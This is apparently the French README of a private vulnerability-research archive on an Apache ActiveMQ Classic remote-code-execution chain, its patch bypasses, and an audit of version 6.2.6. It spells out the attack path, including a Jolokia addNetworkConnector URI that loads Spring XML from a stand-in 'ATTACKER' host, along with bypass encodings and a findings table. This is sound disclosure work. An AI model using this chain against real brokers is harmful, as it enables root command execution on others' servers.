
Recherche sur l'exécution de code à distance (RCE) dans Apache ActiveMQ Classic : chaîne de contournement CVE-2026-34197 / CVE-2026-42588 + constats d'audit de hardened-6.2.6 + comparaison avec Crowdfense
Archive de recherche privée pour la chaîne d'exécution de code à distance Jolokia → addNetworkConnector → xbean/Spring-XML d'Apache ActiveMQ Classic (CVE-2026-34197 et son contournement de correctif CVE-2026-42588), plus un audit complet de recherche automatique de la version corrigée 6.2.6 et une comparaison côte à côte avec l'article public de contournement de Crowdfense.
Toute l'exploitation a été réalisée contre des courtiers de laboratoire locaux (Docker / auto-hébergés). Les charges utiles utilisent des hôtes attaquants fictifs.
| Dir | Phase | Description |
|---|---|---|
00-comparison-vs-crowdfense.md | Comparaison | Notre travail vs. l'article « ActiveMQ RCE Bypass » de Crowdfense, vérifié à la source fichier:ligne |
01-original-cve-2026-34197/ | Repro originale | Analyse + scripts PoC + charges utiles Spring-XML (lab : activemq-classic:5.18.6) |
02-reaudit-apr30/ | Matrice de versions | uid=0 sur 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 ; évaluation + PoC + version-matrix.sh |
03-reaudit-42588-42253/ | Contournement en direct | Contournement composite sans parenthèses (42588) + XSS MessageServlet (42253), reproduit en direct |
04-audit-6.2.6/ | Audit complet | Audit de recherche automatique du 6.2.6 durci : rapport final + registre des découvertes |
Les arbres sources du fournisseur et les distributions binaires utilisées pendant les laboratoires sont intentionnellement exclus (ils sont en amont, pas les nôtres).
Un appelant Jolokia authentifié (non authentifié sur 6.0.0–6.1.1 via CVE-2024-32114) invoque BrokerView.addNetworkConnector(uri) avec une URI de découverte conçue dont l'intérieur vm://…?brokerConfig=xbean:<url> force le courtier à charger un XML Spring contrôlé par l'attaquant, ce qui instancie avec empressement un bean ProcessBuilder avant la validation du courtier → exécution de commande OS.
POST /api/jolokia/ → BrokerView.addNetworkConnector(String)
→ static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
→ VMTransportFactory dynamic broker creation → XBeanBrokerFactory
→ ResourceXmlApplicationContext loads Spring XML → ProcessBuilder bean → RCE
En résumé : trois découvertes sont prouvées en direct pour root/XSS ; l'audit 6.2.6 ajoute un ensemble plus large qui est vérifié à la source et évalué de manière adverse, mais pas encore détoné en direct. Aucun des suppléments 6.2.6 n'est une nouvelle RCE non authentifiée — le fournisseur a fermé ces portes ; le risque résiduel s'est déplacé vers l'autorisation et l'encodage de sortie.
AIOOBE ordinal MQTT QoS (QoS.values()[ordinal], cross-protocole, sans configuration) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · NegativeArraySizeException signed-short dans le démarshalage OpenWire · job immortel AMQ_SCHEDULED_REPEAT négatif.
L'article Apache ActiveMQ RCE Bypass de Crowdfense couvre la même chaîne (ils la classent sous CVE-2026-34197 ; nous suivons le contournement comme son propre CVE-2026-42588). Les deux récits convergent sur une défense à trois couches ; la seule divergence est la couche 2.
La seule lacune : leur astuce d'encodage en pourcentage de la couche 2 + UNC/WebDAV réalise une livraison entièrement distante sans primitive d'écriture locale. Le défaut de classificateur qu'elle exploite (activemq-spring/Utils.java:123-129, un startsWith("file://") brut sur la chaîne non décodée) est présent dans notre source exacte — mais la moitié distante est Windows uniquement (Linux traite //host/share comme un chemin local), et notre laboratoire était Linux, donc cela n'y était pas exerçable. C'est de toute façon mort sur 6.2.6 (la passerelle de schéma VMTransportFactory rejette xbean avant que Utils ne s'exécute).
Suivi : un hébergé sous Windows 5.19.6 (ou toute version pré-5.19.7/6.2.6) + écouteur SMB/WebDAV nous permettrait de démontrer le contournement entièrement distant de la liste d'autorisation — la seule capacité que l'article possède et que notre engagement n'a pas montrée.
Trois commits ferment la chaîne : c1b44af11 (valider les URI composites sans parenthèses — parseComposite inconditionnellement + récursion), c2fc7a1d6 (bloquer XBeanBrokerFactory par défaut via la liste d'autorisation de schéma VMTransportFactory), et be8415f24 (durcissement de la configuration exemple : Jolokia en boucle locale, liste de refus d'opérations avec addNetworkConnector).
| ID | Découverte | Classe | Sévérité | Auth | Preuve |
|---|
| CVE-2026-34197 | Jolokia addNetworkConnector → xbean Spring-XML RCE | RCE | Critique | Post-authentification (sans authentification 6.0.0–6.1.1) | En direct — uid=0 sur 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 |
| CVE-2026-42588 | Contournement composite sans parenthèses de la liste de blocage 34197 | RCE (contournement de correctif) | Critique | Post-authentification | En direct — uid=0 sur 5.19.6 + 6.2.0 patchés 34197 |
| CVE-2026-42253 | Injection d'en-tête MessageServlet → XSS stocké | Injection / XSS | Moyen | Post-authentification | En direct sur 6.2.0 |
| ID | Découverte | Classe | Sévérité | Auth | Notes |
|---|
| C1 | static: faille de liste de blocage → SSRF — static absente de DENIED_TRANSPORT_SCHEMES ; addNetworkConnector("static:(tcp://…)") → TCP sortant du courtier | SSRF | Moyen | Admin / JMX | Variante de sink au-delà de la même liste de blocage 34197/42588 que l'article couvre |
| B1 | Abonnement durable IDOR de suppression cross-clientId — removeSubscription se base sur le clientId fourni par le fil et n'est pas verrouillé dans AuthorizationBroker | Autorisation brisée / IDOR | Moyen | Post-authentification (pré-authentification si l'authentification du courtier est désactivée) | Le plus propre des nouveaux |
| B3 | LDAP mot de passe vide → liaison anonyme (LDAPLoginModule, aucune vérification de vacuité) | Contournement d'authentification | Moyen (conditionnel) | Pré-authentification | Conditionnel à ce que l'annuaire accepte les liaisons anonymes |
| A1–A7 | Famille d'injection d'encodage de sortie de la console — MessageId.textView contrôlé par l'attaquant (OpenWire v10+ et AMQP) non échappé dans ~7 sinks JSP/REST + traversée de chemin FileSystemBlobStrategy | Injection | Faible–Moyen | Producteur → administrateur | Limité par CSP à l'injection HTML/contenu par défaut |
| B2 | Shiro WildcardPermission escalade de verbe par injection de deux-points | Élévation de privilèges | Faible–Moyen | Post-authentification | Shiro non par défaut |
| B4 | Autorisation de destination temporaire échec-ouvert asymétrique vs échec-fermé non temporaire | Autorisation brisée | Faible | Post-authentification | Par conception (AMQ-4721) ; note de durcissement |
| B5 | StatisticsBroker replyTo saute la ACL d'écriture lorsque le plugin est ordonné avant l'autorisation | Autorisation brisée | Faible | Post-authentification | Dépendant de l'ordre de configuration |
| B6 | Connexion par certificat DN non canonique (getSubjectDN().getName()) → collision d'identité parmi les certificats de même AC | Authentification | Faible | Pré-authentification (validé TLS) | « Tout certificat auto-signé » ne fonctionne pas |
| B7 | Usurpation JMSXUserID lorsque populateJMSXUserID=false (par défaut) | Usurpation | Faible | Post-authentification | — |
| F5 | Nom d'en-tête sortant STOMP jamais échappé → injection de trame vers un abonné co-locataire | Injection | Faible | Cross-protocole | STOMP activé |
| Couche | Défense | Crowdfense la contourne par | Nous l'avons contournée par |
|---|
| 1 | Liste de blocage de schéma (correctif 34197) | Composite sans parenthèses static:vm://… | Identique — trouvé indépendamment ✅ |
| 2 | Liste d'autorisation {file,classpath} xbean (#1910) | file:%2f%2f… encodé en pourcentage → Windows UNC → WebDAV → récupération HTTP distante | Fichier local xbean:/tmp/evil.xml (nécessite une écriture locale) |
| 3 | Passerelle de schéma VMTransportFactory (broker,properties, le correctif 42588 / 6.2.6) | Reconnu comme le coup fatal | Même conclusion ✅ |